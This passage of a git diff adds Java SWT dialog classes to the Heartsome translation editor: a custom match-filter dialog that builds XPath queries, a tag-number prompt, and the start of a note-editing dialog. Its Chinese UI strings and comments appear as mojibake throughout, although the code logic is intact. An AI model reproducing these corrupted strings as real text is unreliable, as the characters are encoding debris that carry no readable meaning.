(MessageDialog.openConfirm(getShell(), "", "确定è¦åˆ é™¤é€‰ä¸­çš„自定义过滤器å—?")) { + deletePreference(filters); + } + } else { + MessageDialog.openInformation(getShell(), "", "请选择è¦åˆ é™¤çš„自定义过滤器。"); + } + } + + }); + + Button editCustom = new Button(c2, SWT.PUSH); + editCustom.setText("编辑"); + editCustom.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + // 编辑已有的自定义过滤器方法 + edit(); + } + }); + + Composite c3 = new Composite(tParent, SWT.NONE); + c3.setLayout(new GridLayout(1, true)); + c3.setLayoutData(new GridData(500, 400)); + + Composite top = new Composite(c3, SWT.NONE); + top.setLayout(new GridLayout(2, false)); + new Label(top, SWT.NONE).setText("过滤器å称:"); + filterNameTxt = new Text(top, SWT.BORDER); + filterNameTxt.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + andBtn = new Button(top, SWT.RADIO); + andBtn.setText("满足所有æ¡ä»¶"); + andBtn.setSelection(true); + orBtn = new Button(top, SWT.RADIO); + orBtn.setText("满足以下任一æ¡ä»¶"); + scroll = new ScrolledComposite(c3, SWT.V_SCROLL | SWT.BORDER); + scroll.setAlwaysShowScrollBars(true); + scroll.setLayoutData(new GridData(470, 250)); + scroll.setExpandHorizontal(true); + scroll.setExpandVertical(true); + dynaComp = new Composite(scroll, SWT.BORDER); + scroll.setContent(dynaComp); + dynaComp.setLayout(new GridLayout(1, true)); + new DynaComposite(dynaComp, SWT.NONE); + + Composite c4 = new Composite(c3, SWT.BORDER); + c4.setLayout(new GridLayout(2, true)); + c4.setLayoutData(new GridData(470,60)); + + btnIsTagged = new Button(c4, SWT.CHECK); + btnIsTagged.setText("标记的匹é…"); + btnQT = new Button(c4, SWT.CHECK); + btnQT.setText("快速翻译匹é…"); + btnPT = new Button(c4, SWT.CHECK); // propagate translation + btnPT.setText("自动ç¹æ®–翻译匹é…"); + if (isTEInstalled()) { + btnIsRemoveFromSrc = new Button(c4, SWT.CHECK); + btnIsRemoveFromSrc.setText("从æ¥æºä¸­åˆ é™¤"); + } + + return parent; + } + + /** + * 编辑 + */ + private void edit() { + String[] filters = customFilterList.getSelection(); + if (filters.length > 0) { + if (isChange()) { + if (!MessageDialog.openConfirm(getShell(), "", "ä¸ä¿å­˜å½“å‰å†…容å—?")) { + return; + } + } + String key = filters[0]; + filterNameTxt.setText(key); + + String[] tempArray = XLFHandler.getCustomMatchFilterAdditionMap().get(key).get(0); + if (tempArray[0].indexOf("and") != -1) { + andBtn.setSelection(true); + orBtn.setSelection(false); + } else { + andBtn.setSelection(false); + orBtn.setSelection(true); + } + int check = Integer.parseInt(tempArray[1]); + + if (btnIsTagged != null) { + if ((check & btnIsTaggedCheck) != 0) { + btnIsTagged.setSelection(true); + } else { + btnIsTagged.setSelection(false); + } + } + + if (btnQT != null) { + if ((check & btnQTCheck) != 0) { + btnQT.setSelection(true); + } else { + btnQT.setSelection(false); + } + } + if (btnPT != null) { + if ((check & btnPTCheck) != 0) { + btnPT.setSelection(true); + } else { + btnPT.setSelection(false); + } + } + if (btnIsRemoveFromSrc != null) { + if ((check & btnIsRemoveFromSrcCheck) != 0) { + btnIsRemoveFromSrc.setSelection(true); + } else { + btnIsRemoveFromSrc.setSelection(false); + } + } + + for (Control ctl : conditionList) { + if (!ctl.isDisposed()) { + ctl.dispose(); + } + } + conditionList.clear(); + ArrayList tmpList = XLFHandler.getCustomMatchFilterIndexMap().get(key); + for (String[] tempIndex : tmpList) { + String filterIndex = tempIndex[0]; + DynaComposite dyna = new DynaComposite(dynaComp, SWT.NONE); + dyna.getFilterName().select(Integer.parseInt(filterIndex)); + dyna.getFilterName().notifyListeners(SWT.Selection, null); + if ("0".equals(filterIndex)) { // 匹é…率 + dyna.getConditions().select(Integer.parseInt(tempIndex[1])); + dyna.getValue().setText(tempIndex[2]); + } else if ("1".equals(filterIndex)) { // 关键字 + dyna.getConditions().select(Integer.parseInt(tempIndex[1])); + dyna.getValue().setText(tempIndex[2]); + } else if ("2".equals(filterIndex)) { // æ¥æº + dyna.getValue().setText(tempIndex[1]); + } + dyna.getValue().setForeground(black); + } + scroll.setMinSize(dynaComp.computeSize(SWT.DEFAULT, SWT.DEFAULT)); + dynaComp.layout(); + } else { + MessageDialog.openInformation(getShell(), "", "请选择一个自定义过滤器。"); + } + } + + /** + * åˆå§‹åŒ–å·²ä¿å­˜çš„æ¡ä»¶åˆ—表 + * @param comp 父容器 + */ + private void initCustomFilterList(Composite comp) { + customFilterList = new List(comp, SWT.MULTI | SWT.V_SCROLL | SWT.H_SCROLL | SWT.BORDER); + customFilterList.setLayoutData(new GridData(GridData.FILL_BOTH)); + setListData(customFilterList, customFilters); + customFilterList.addMouseListener(new MouseAdapter() { + @Override + public void mouseDoubleClick(MouseEvent e) { + // 调编辑的方法 + edit(); + } + + }); + } + + /** + * 是å¦æ˜¯UE版本 + * @return ; + */ + private boolean isUEVersion() { + // TODO 实现是å¦æ˜¯UE版本的判断 + return false; + } + + /** + * 是å¦å®‰è£…TE + * @return ; + */ + private boolean isTEInstalled() { + // TODO 实现是å¦å®‰è£…TE的判断 + return true; + } + + /** + * (non-Javadoc) + * @see org.eclipse.jface.dialogs.Dialog#okPressed() + */ + @Override + protected void okPressed() { + // ä¿å­˜è‡ªå®šä¹‰æ¡ä»¶ + String filterNameStr = filterNameTxt.getText(); + if (filterNameStr == null || "".equals(filterNameStr)) { + MessageDialog.openInformation(getShell(), "", "请输入过滤器å称ï¼"); + return; + } + if (btnIsRemoveFromSrc != null) { // 未安装TE时,该功能被å±è”½ï¼ŒæŒ‰é’®æœªè¢«åˆå§‹åŒ–。 + if (btnIsRemoveFromSrc.getSelection()) { + // TODO 将符åˆæ¡ä»¶çš„匹é…从å¯è¿žæŽ¥çš„记忆库中åŒæ—¶åˆ é™¤ã€‚该功能在与匹é…æ¥æºçš„记忆库无法连接时ç¦ç”¨ã€‚ + } + } + StringBuilder xpath = new StringBuilder(); + String link = andBtn.getSelection() ? " and " : " or "; + ArrayList tempValue = new ArrayList(); + for (DynaComposite comp : conditionList) { // 得到所有自定义æ¡ä»¶ç»„åˆçš„xpath + String tempXpath = comp.getXpath(true); + if (RESULT_FAILED.equals(tempXpath)) { + return; + } + xpath.append(link).append(tempXpath); + tempValue.add(comp.getTempIndex()); + } + + appendCheckCondition(xpath); + + if (xpath.length() > 0) { + xpath.delete(0, xpath.indexOf(link) + link.length()); + customFilters.put(filterNameStr, xpath.toString()); + String[] additions = { link.trim(), "" + getCheck() }; + customFiltersIndex.put(filterNameStr, tempValue); + ArrayList tempValue1 = new ArrayList(); + tempValue1.add(additions); + customFiltersAddtion.put(filterNameStr, tempValue1); + PreferenceStore.saveMap(IPreferenceConstants.MATCH_CONDITION, new TreeMap(customFilters)); + PreferenceStore.saveCustomCondition(IPreferenceConstants.MATCH_CONDITION_INDEX, customFiltersIndex); + PreferenceStore.saveCustomCondition(IPreferenceConstants.MATCH_CONDITION_ADDITION, customFiltersAddtion); + reload(); + } + } + + /** + * 追加标记的匹é…ã€å¿«é€Ÿç¿»è¯‘匹é…ã€è‡ªåŠ¨ç¹æ®–翻译匹é…ã€ä»Žæ¥æºä¸­åˆ é™¤å››ä¸ªæŒ‰é’®ç»„åˆçš„xpath + * @param xpath 需è¦è¿½åŠ çš„xpath + */ + private void appendCheckCondition(StringBuilder xpath) { + if (btnIsTagged.getSelection()) { // 是å¦æ˜¯å¸¦æ ‡è®°çš„åŒ¹é… + if (xpath.length() > 0) { + xpath.append(" and "); + } + xpath.append("(source/* or target/*)"); + } + if (btnQT.getSelection()) { // 是å¦æ˜¯å¿«é€Ÿç¿»è¯‘åŒ¹é… + if (xpath.length() > 0) { + xpath.append(" and "); + } + xpath.append("@tool-id='").append(Constants.QT_TOOLID).append("'"); + } + if (btnPT.getSelection()) { // 是å¦æ˜¯ç¹æ®–ç¿»è¯‘åŒ¹é… + if (xpath.length() > 0) { + xpath.append(" and "); + } + xpath.append("contains(@origin, 'autoFuzzy_')"); + } + } + + /** + * é‡æ–°åŠ è½½è‡ªå®šä¹‰è¿‡æ»¤å™¨åˆ—表数æ®å’Œåˆ·æ–°å³ä¾§è¿‡æ»¤å™¨è®¾ç½®ç»„件 + */ + private void reload() { + setListData(customFilterList, XLFHandler.getCustomMatchFilterMap()); + refresh(); + } + + /** + * 刷新过滤器设置组件 + */ + private void refresh() { + filterNameTxt.setText(""); + andBtn.setSelection(true); + orBtn.setSelection(false); + btnIsTagged.setSelection(false); + btnQT.setSelection(false); + btnPT.setSelection(false); + if (btnIsRemoveFromSrc != null) { + btnIsRemoveFromSrc.setSelection(false); + } + for (Control ctl : conditionList) { + if (!ctl.isDisposed()) { + ctl.dispose(); + } + } + conditionList.clear(); + new DynaComposite(dynaComp, SWT.NONE); + scroll.setMinSize(dynaComp.computeSize(SWT.DEFAULT, SWT.DEFAULT)); + dynaComp.layout(); + + } + + /** + * 查看当å‰çŠ¶æ€æ˜¯å¦ä¸ºæ–°å¢ž + * @return 当å‰çŠ¶æ€æ˜¯å¦ä¸ºæ–°å¢ž + */ + private boolean isAdd() { + return !XLFHandler.getCustomMatchFilterMap().containsKey(filterNameTxt.getText()); + } + + @Override + protected void cancelPressed() { + close(); + } + + @Override + public boolean close() { + if (isChange()) { + if (MessageDialog.openConfirm(getShell(), "", "确定ä¸ä¿å­˜å°±å…³é—­å—?")) { + return super.close(); + } + } else { + return super.close(); + } + return false; + } + + /** + * 查看在新增和编辑状æ€ä¸‹å†…容是å¦æœ‰å˜åŒ– + * @return 内容是å¦æœ‰å˜åŒ– + */ + private boolean isChange() { + boolean result = false; + if (isAdd()) { + if (!filterNameTxt.getText().trim().equals("")) { + result = true; + } + if (andBtn.getSelection()) { + if (conditionList.size() > 1) { + result = true; + } else { + DynaComposite comp = conditionList.get(0); + if (comp.getFilterName().getSelectionIndex() != 0) { + result = true; + } else { + if (comp.getConditions().getSelectionIndex() != 0) { + result = true; + } else { + if (!comp.getValue().getText().equals(initValue)) { + result = true; + } + } + } + } + } else { + result = true; + } + } else { + String orignXpath = XLFHandler.getCustomMatchFilterMap().get(filterNameTxt.getText()); + StringBuilder xpath = new StringBuilder(); + String link = andBtn.getSelection() ? " and " : " or "; + for (DynaComposite comp : conditionList) { // 得到所有自定义æ¡ä»¶ç»„åˆçš„xpath + String tempXpath = comp.getXpath(false); + if (RESULT_FAILED.equals(tempXpath)) { + result = true; + } + xpath.append(link).append(tempXpath); + } + appendCheckCondition(xpath); + if (xpath.length() > 0) { + xpath.delete(0, xpath.indexOf(link) + link.length()); + result = !orignXpath.equals(xpath.toString()); + } + + } + return result; + } + + /** + * @param args ; + */ + public static void main(String[] args) { + Display display = new Display(); + final Shell shell = new Shell(display); + shell.setLayout(new GridLayout(1, false)); + + final Combo combo = new Combo(shell, SWT.READ_ONLY); + combo.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false)); + + Button button = new Button(shell, SWT.PUSH); + button.setLayoutData(new GridData(SWT.BEGINNING, SWT.CENTER, false, false)); + button.setText("OK"); + button.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + CustomMatchConditionDialog dialog = new CustomMatchConditionDialog(shell); + int res = dialog.open(); + if (res == CustomMatchConditionDialog.OK) { + + } + } + }); + + shell.open(); + + while (!shell.isDisposed()) { + if (!display.readAndDispatch()) { + display.sleep(); + } + } + } + + private static String[] filterData = new String[] { "匹é…率", "关键字", "æ¥æº" }; + private static String[] conditionData1 = new String[] { "å°äºŽ", "大于", "等于", "ä¸ç­‰äºŽ" }; + private static String[] conditionData2 = new String[] { "包å«", "ä¸åŒ…å«", "开始于", "结æŸäºŽ", "等于", "ä¸ç­‰äºŽ", "匹é…正则" }; + private static LinkedHashMap mqOperators = new LinkedHashMap(); + { + mqOperators.put("å°äºŽ", "<"); + mqOperators.put("大于", ">"); + mqOperators.put("等于", "="); + mqOperators.put("ä¸ç­‰äºŽ", "!="); + } + + /** + * 动æ€æ¡ä»¶ç»„åˆ + * @author Leakey + * @version + * @since JDK1.6 + */ + private class DynaComposite extends Composite { + + /** 过滤器列表控件. */ + private Combo filterName; + /** 判断æ¡ä»¶åˆ—表控件. */ + private Combo conditions; + /** 一般文本框. */ + private Text value; + /** +按钮. */ + private Button addBtn; + /** -按钮. */ + private Button reduceBtn; + + /** 当å‰é€‰ä¸­çš„过滤器是å¦æ˜¯ï¼ˆæ¥æºï¼‰. */ + private boolean isSource = false; + /** 当å‰é€‰ä¸­çš„过滤器是å¦æ˜¯åŒ¹é…率. */ + private boolean isMatchQt = true; + /** 当å‰é€‰ä¸­çš„过滤器是å¦æ˜¯å…³é”®å­—. */ + private boolean isKeyword = false; + + private String[] tempIndex = null; + + /** + * å–å¾—xpathæŸ¥è¯¢è¯­å¥ + * @return xpathæŸ¥è¯¢è¯­å¥ + */ + public String getXpath(boolean withNotice) { + StringBuilder re = new StringBuilder(); + String txt = value.getText().trim(); + if (isSource) { // æ¥æº + if (txt.equals("") || txt.equals(initValue)) { + if (withNotice) { + MessageDialog.openInformation(getShell(), "", "请输入æ¥æºï¼"); + } + return RESULT_FAILED; + } + re.append("@origin='").append(txt).append("'"); + tempIndex = new String[] { filterName.getSelectionIndex() + "", txt }; + } else if (isMatchQt) { // 匹é…率 + if (txt.equals("") || txt.equals(initValue)) { + if (withNotice) { + MessageDialog.openInformation(getShell(), "", "请输入匹é…率ï¼"); + } + return RESULT_FAILED; + } + String operator = conditions.getText().trim(); + if (operator != null && !"".equals(operator)) { + operator = mqOperators.get(operator); + re.append("translate(@match-quality, '%', '')").append(operator).append(txt); + } + tempIndex = new String[] { filterName.getSelectionIndex() + "", conditions.getSelectionIndex() + "", + txt }; + } else if (isKeyword) { // 关键字 + + if (txt.equals("") || txt.equals(initValue)) { + if (withNotice) { + MessageDialog.openInformation(getShell(), "", "请输入关键字ï¼"); + } + return RESULT_FAILED; + } + + String operator = conditions.getText().trim(); + if (operator != null && !"".equals(operator)) { + if ("包å«".equals(operator)) { + re.append("(contains(source, '").append(txt).append("') or contains(target, '").append(txt) + .append("'))"); + } else if ("ä¸åŒ…å«".equals(operator)) { + re.append("not(contains(source, '").append(txt).append("') or contains(target, '").append(txt) + .append("'))"); + } else if ("开始于".equals(operator)) { + re.append("(starts-with(source, '").append(txt).append("') or starts-with(target, '") + .append(txt).append("'))"); + } else if ("结æŸäºŽ".equals(operator)) { + re.append("(ends-with(source, '").append(txt).append("') or ends-with(target, '").append(txt) + .append("'))"); + } else if ("等于".equals(operator)) { + re.append("(source='").append(txt).append("' or target='").append(txt).append("')"); + } else if ("ä¸ç­‰äºŽ".equals(operator)) { + re.append("not(source='").append(txt).append("' or target='").append(txt).append("')"); + } + // else if ("匹é…正则".equals(operator)) { + // re.append("(matches(source, '").append(keyWord).append("') or matches(target, '").append(keyWord) + // .append("'))"); + // } + tempIndex = new String[] { filterName.getSelectionIndex() + "", + conditions.getSelectionIndex() + "", txt }; + } + } + return re.toString(); + } + + /** + * 得到选择的索引或者文本框的值 + */ + public String[] getTempIndex() { + return tempIndex; + } + + /** + * 当å‰é€‰æ‹©æ˜¯å¦ä¸ºâ€œæ¥æºâ€ + */ + private boolean isSource() { + if (filterName.getSelectionIndex() == 2) { + isMatchQt = false; + isKeyword = false; + isSource = true; + } else { + isSource = false; + } + return isSource; + } + + /** + * 当å‰é€‰æ‹©æ˜¯å¦ä¸ºâ€œåŒ¹é…率†+ */ + private boolean isMatchQt() { + if (filterName.getSelectionIndex() == 0) { + isSource = false; + isKeyword = false; + isMatchQt = true; + } else { + isMatchQt = false; + } + return isMatchQt; + } + + /** + * 当å‰é€‰æ‹©æ˜¯å¦ä¸ºâ€œå…³é”®å­—†+ */ + private boolean isKeyword() { + if (filterName.getSelectionIndex() == 1) { + isSource = false; + isMatchQt = false; + isKeyword = true; + } else { + isKeyword = false; + } + return isKeyword; + } + + /** + * 获å–过滤器指定å称下拉框控件 + */ + public Combo getFilterName() { + return filterName; + } + + /** + * 获å–过滤器指定æ¡ä»¶ä¸‹æ‹‰æ¡†æŽ§ä»¶ + */ + public Combo getConditions() { + return conditions; + } + + /** + * 获å–文本框控件 + */ + public Text getValue() { + return value; + } + + /** + * @param parent + * @param style + */ + public DynaComposite(Composite parent, int style) { + super(parent, style); + init(); + conditionList.add(this); + } + + /** + * åˆå§‹åŒ– + */ + public void init() { + this.setLayout(new GridLayout(5, false)); + this.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + initFilterName(); + initConditions(conditionData1); + initTxt(1); + initMatchQtTextListener(); + initBtn(); + + } + + /** + * åˆå§‹åŒ–“+â€ï¼Œâ€œï¼â€æŒ‰é’® + */ + private void initBtn() { + addBtn = new Button(this, SWT.BORDER); + addBtn.setText("+"); + addBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + new DynaComposite(dynaComp, SWT.NONE); + scroll.setMinSize(dynaComp.computeSize(SWT.DEFAULT, SWT.DEFAULT)); + dynaComp.layout(); + } + }); + reduceBtn = new Button(this, SWT.BORDER); + reduceBtn.setText("-"); + reduceBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + conditionList.remove(DynaComposite.this); + DynaComposite.this.dispose(); + scroll.setMinSize(dynaComp.computeSize(SWT.DEFAULT, SWT.DEFAULT)); + dynaComp.layout(); + } + }); + if (conditionList.size() > 0) { + if (conditionList.get(0).equals(this)) { + reduceBtn.setEnabled(false); + } else { + reduceBtn.setEnabled(true); + } + } else { + reduceBtn.setEnabled(false); + } + } + + /** + * åˆå§‹åŒ–一般文本框 + */ + private void initTxt(int span) { + value = new Text(this, SWT.BORDER); + setGray(value, initValue); + GridData data = new GridData(GridData.FILL_HORIZONTAL); + data.horizontalSpan = span; + value.setLayoutData(data); + } + + /** + * åˆå§‹åŒ–æ¡ä»¶ä¸‹æ‹‰æ¡† + */ + private void initConditions(String[] data) { + conditions = new Combo(this, SWT.BORDER); + conditions.setLayoutData(new GridData(100, 35)); + if (data == null || data.length == 0) { + return; + } + setComboData(conditions, data); + conditions.select(0); + + } + + /** + * 销æ¯é™¤äº†â€œè¿‡æ»¤å™¨åˆ—表控件â€ä¹‹å¤–的其它控件 + */ + private void disposeChild() { + for (Control ctl : this.getChildren()) { + if (!"filterName".equals(ctl.getData()) && ctl != null && !ctl.isDisposed()) { + ctl.dispose(); + } + } + } + + /** + * åˆå§‹åŒ–匹é…率文本框的监å¬ï¼Œåªå…许输入数字,最大值为100或者101 + */ + private void initMatchQtTextListener() { + value.addVerifyListener(new VerifyListener() { + + public void verifyText(VerifyEvent event) { + if (!value.getText().equals(initValue)) { + if (event.keyCode == 0 && event.stateMask == 0) { // 文本框得到焦点时 + + } else if (Character.isDigit(event.character) || event.character == '\b' + || event.keyCode == 127) { // 输入数字,或者按下Backspaceã€Deleteé”® + Text txt = (Text) event.widget; + if ("0".equals(txt.getText().trim()) && event.character == '0') { + event.doit = false; + return; + } + event.doit = true; + } else { + event.doit = false; + } + } + } + }); + + value.addModifyListener(new ModifyListener() { + final int max = isUEVersion() ? 101 : 100; // 最大值 + + public void modifyText(ModifyEvent e) { + if (!value.getText().equals(initValue) && !value.getText().equals("")) { + Text txt = (Text) e.widget; + String text = txt.getText().trim(); + if (text.length() == 2 && text.charAt(0) == '0') { + txt.setText(text.charAt(1) + ""); + txt.setSelection(1); + } else if (Integer.parseInt(text) > max) { + txt.setText("100"); + txt.setSelection(3); + } + } + } + }); + } + + /** + * åˆå§‹åŒ–过滤器列表控件 + */ + private void initFilterName() { + filterName = new Combo(this, SWT.BORDER); + filterName.setLayoutData(new GridData(80, 35)); + setComboData(filterName, filterData); + filterName.setData("filterName"); + filterName.select(0); + filterName.addSelectionListener(new SelectionAdapter() { + private void createSource() { + disposeChild(); + initTxt(2); + initBtn(); + } + + private void createKeyword() { + disposeChild(); + initConditions(conditionData2); + initTxt(1); + initBtn(); + } + + private void createMatchQt() { + disposeChild(); + initConditions(conditionData1); + initTxt(1); + initMatchQtTextListener(); + initBtn(); + } + + @Override + public void widgetSelected(SelectionEvent e) { + if (isMatchQt()) { + createMatchQt(); + } + if (isKeyword()) { + createKeyword(); + } + if (isSource()) { + createSource(); + } + DynaComposite.this.layout(); + } + }); + } + } + + /** + * 为Text控件增加ç°è‰²æ醒,获得焦点时自动清除ç°è‰²æ醒 + * @param text + * Text控件 + * @param initTxt + * ç°è‰²æ醒字符串 + */ + private void setGray(final Text text, final String initTxt) { + text.setForeground(gray); + text.setText(initTxt); + text.addFocusListener(new FocusListener() { + public void focusLost(FocusEvent arg0) { + if (text.getText().trim().equals("")) { + if (!text.getForeground().equals(gray)) { + text.setForeground(gray); + } + text.setText(initTxt); + } else { + if (!text.getForeground().equals(black)) { + text.setForeground(black); + } + } + } + + public void focusGained(FocusEvent arg0) { + if (text.getText().trim().equals(initTxt)) { + text.setText(""); + text.setForeground(black); + } else { + if (!text.getForeground().equals(black)) { + text.setForeground(black); + } + } + } + }); + } + + /** + * 设置Comboä¸‹æ‹‰åˆ—è¡¨ä¸­çš„æ•°æ® + */ + private void setComboData(Combo combo, String[] data) { + if (combo == null || data == null || data.length == 0) { + return; + } + combo.clearSelection(); + combo.removeAll(); + int i = 0; + for (String temp : data) { + combo.add(temp, i++); + } + } + + /** + * 为Listç»„ä»¶è®¾ç½®æ•°æ® + * @param list + * @param data + */ + private void setListData(List list, Map data) { + list.removeAll(); + if (data == null) { + return; + } + for (Entry entry : data.entrySet()) { + list.add(entry.getKey()); + } + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/dialog/TagNumberRequest.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/dialog/TagNumberRequest.java new file mode 100644 index 0000000..703b637 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/dialog/TagNumberRequest.java @@ -0,0 +1,133 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog; + +import net.heartsome.cat.ts.ui.xliffeditor.nattable.resource.Messages; + +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Dialog; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Text; + +/** + * @author Rodolfo M. Raya copyright (c) 2002 - 2003 Heartsome Holdings Pte. Ltd. http://www.heartsome.net + */ + +public class TagNumberRequest extends Dialog { + + Shell shell; + Shell _parent; + Text text; + Button okButton; + int maxValue; + int value; + Display display; + + /** + * Method numberRequest. + * @param display + */ + public TagNumberRequest(Shell parent, int maxTag) { + + super(parent, SWT.NONE); + + _parent = parent; + maxValue = maxTag; + value = 0; + + shell = new Shell(parent, SWT.DIALOG_TRIM | SWT.APPLICATION_MODAL); + shell.setText(Messages.getString("dialog.TagNumberRequest.title")); + shell.setLayout(new GridLayout(1, false)); + display = shell.getDisplay(); + + Composite composite = new Composite(shell, SWT.NONE); + composite.setLayout(new GridLayout(2, false)); + composite.setLayoutData(new GridData(GridData.FILL_HORIZONTAL | GridData.GRAB_HORIZONTAL)); + + Label label = new Label(composite, SWT.NONE); + label.setText(Messages.getString("dialog.TagNumberRequest.lblNumber")); + + text = new Text(composite, SWT.BORDER); + GridData textData = new GridData(GridData.FILL_HORIZONTAL | GridData.GRAB_HORIZONTAL); + textData.widthHint = 100; + text.setLayoutData(textData); + + Composite composite2 = new Composite(shell, SWT.BORDER); + composite2.setLayout(new GridLayout(2, false)); + composite2.setLayoutData(new GridData(GridData.FILL_HORIZONTAL | GridData.GRAB_HORIZONTAL)); + + okButton = new Button(composite2, SWT.PUSH); + okButton.setText(IDialogConstants.OK_LABEL); + okButton.setLayoutData(new GridData(GridData.FILL_HORIZONTAL | GridData.GRAB_HORIZONTAL)); + okButton.addSelectionListener(new SelectionAdapter() { + + public void widgetSelected(SelectionEvent e) { + String number = text.getText(); + try { + int i = Integer.parseInt(number); + value = i; + if (value < 1 || value > maxValue) { + text.setText(""); + text.setFocus(); + return; + } + } catch (java.lang.NumberFormatException nfe) { + value = 0; + text.setText(""); + text.setFocus(); + return; + } + shell.close(); + } + }); + + Button cancelButton = new Button(composite2, SWT.PUSH | SWT.CANCEL); + cancelButton.setLayoutData(new GridData(GridData.FILL_HORIZONTAL | GridData.GRAB_HORIZONTAL)); + cancelButton.setText(IDialogConstants.CANCEL_LABEL); + cancelButton.addSelectionListener(new SelectionAdapter() { + + public void widgetSelected(SelectionEvent e) { + value = 0; + shell.close(); + } + }); + + shell.pack(); + text.setFocus(); + shell.setDefaultButton(okButton); + } + + /** + * Method show. + */ + public void show() { + + Rectangle bounds = _parent.getBounds(); + shell.setLocation(bounds.x + bounds.width / 3 - shell.getSize().x / 2, bounds.y + bounds.height / 3); + + shell.open(); + shell.forceActive(); + while (!shell.isDisposed()) { + if (!display.readAndDispatch()) { + display.sleep(); + } + } + } + + /** + * Returns the number. + * @return String + */ + public int getNumber() { + return value; + } + +} \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/dialog/UpdateNoteDialog.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/dialog/UpdateNoteDialog.java new file mode 100644 index 0000000..25ac5bc --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/dialog/UpdateNoteDialog.java @@ -0,0 +1,278 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog; + +import java.util.HashMap; +import java.util.Vector; + +import net.heartsome.cat.common.util.TextUtil; +import net.heartsome.cat.ts.core.bean.NoteBean; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.NatTableConstant; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.resource.Messages; + +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.jface.viewers.ArrayContentProvider; +import org.eclipse.jface.viewers.ITableLabelProvider; +import org.eclipse.jface.viewers.LabelProvider; +import org.eclipse.jface.viewers.TableViewer; +import org.eclipse.jface.window.Window; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.events.SelectionListener; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Table; +import org.eclipse.swt.widgets.TableColumn; +import org.eclipse.swt.widgets.TableItem; + +/** + * 编辑批注对è¯æ¡† + * @author peason + * @version + * @since JDK1.6 + */ +public class UpdateNoteDialog extends Dialog { + + private XLIFFEditorImplWithNatTable xliffEditor; + + private TableViewer tableViewer; + +// private String rowId; + private int rowIndex; + + private Button btnAdd; + + private Button btnEdit; + + private Button btnDelete; + + public UpdateNoteDialog(Shell parentShell, XLIFFEditorImplWithNatTable xliffEditor, int rowIndex) { + super(parentShell); +// this.rowId = rowId; + this.rowIndex = rowIndex; + this.xliffEditor = xliffEditor; + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("dialog.UpdateNoteDialog.title")); + } + + @Override + protected Control createDialogArea(Composite parent) { + Composite tparent = (Composite) super.createDialogArea(parent); + GridLayoutFactory.fillDefaults().numColumns(2).equalWidth(false).extendedMargins(5, 5, 5, 5).applyTo(tparent); + GridDataFactory.fillDefaults().hint(620, 250).grab(true, true).applyTo(tparent); + + Group noteGroup = new Group(tparent, SWT.None); + noteGroup.setText(Messages.getString("dialog.UpdateNoteDialog.noteGroup")); + GridDataFactory.fillDefaults().grab(true, true).applyTo(noteGroup); + noteGroup.setLayout(new GridLayout()); + + tableViewer = new TableViewer(noteGroup, SWT.BORDER | SWT.SINGLE | SWT.FULL_SELECTION | SWT.H_SCROLL + | SWT.V_SCROLL); + Table table = tableViewer.getTable(); + table.setLayoutData(new GridData(GridData.FILL_BOTH)); + table.setHeaderVisible(true); + table.setLinesVisible(true); + + String[] arrColName = new String[] { Messages.getString("dialog.UpdateNoteDialog.tableColumn1"), + Messages.getString("dialog.UpdateNoteDialog.tableColumn2"), + Messages.getString("dialog.UpdateNoteDialog.tableColumn3"), + Messages.getString("dialog.UpdateNoteDialog.tableColumn4"), + Messages.getString("dialog.UpdateNoteDialog.tableColumn5") }; + int[] arrColWidth = new int[] { 40, 100, 100, 150, 120 }; + for (int i = 0; i < arrColName.length; i++) { + TableColumn column = new TableColumn(table, SWT.LEFT); + column.setWidth(arrColWidth[i]); + column.setText(arrColName[i]); + } + tableViewer.setLabelProvider(new TableViewerLabelProvider()); + tableViewer.setContentProvider(new ArrayContentProvider()); + + Composite cmpBtn = new Composite(tparent, SWT.None); 